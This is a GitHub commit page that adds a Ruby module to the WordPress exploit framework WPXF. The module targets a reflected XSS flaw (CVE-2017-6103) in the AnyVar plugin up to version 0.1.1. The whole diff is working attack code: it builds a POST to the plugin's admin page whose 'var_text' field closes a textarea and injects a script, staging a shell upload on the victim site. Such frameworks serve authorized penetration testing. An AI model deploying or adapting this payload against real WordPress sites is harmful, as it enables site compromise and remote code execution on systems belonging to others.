Skip to content
This repository was archived by the owner on Oct 22, 2020. It is now read-only.

Commit 2c032f7

Browse files
committed
Add AnyVar reflected XSS shell upload
1 parent 0205c45 commit 2c032f7

File tree

1 file changed

+38
-0
lines changed

1 file changed

+38
-0
lines changed
Lines changed: 38 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,38 @@
1+
class Wpxf::Exploit::AnyvarReflectedXssShellUpload < Wpxf::Module
2+
include Wpxf::WordPress::StagedReflectedXss
3+
4+
def initialize
5+
super
6+
7+
update_info(
8+
name: 'AnyVar <= 0.1.1 Reflected XSS Shell Upload',
9+
author: [
10+
'Larry W. Cashdollar', # Disclosure
11+
'Rob Carr <rob[at]rastating.com>' # WPXF module
12+
],
13+
references: [
14+
['WPVDB', '8764'],
15+
['CVE', '2017-6103'],
16+
['URL', 'http://www.vapidlabs.com/advisory.php?v=177']
17+
],
18+
date: 'Feb 21 2017'
19+
)
20+
end
21+
22+
def check
23+
check_plugin_version_from_readme('anyvar', '0.1.2')
24+
end
25+
26+
def vulnerable_url
27+
normalize_uri(wordpress_url_admin, 'tools.php?page=anyvar/anyvar.php')
28+
end
29+
30+
def initial_script
31+
create_basic_post_script(
32+
vulnerable_url,
33+
'action' => 'add',
34+
'var_name' => Utility::Text.rand_alphanumeric(10),
35+
'var_text' => "</textarea><script>#{xss_ascii_encoded_include_script}<\\/script>"
36+
)
37+
end
38+
end

0 commit comments

Comments
 (0)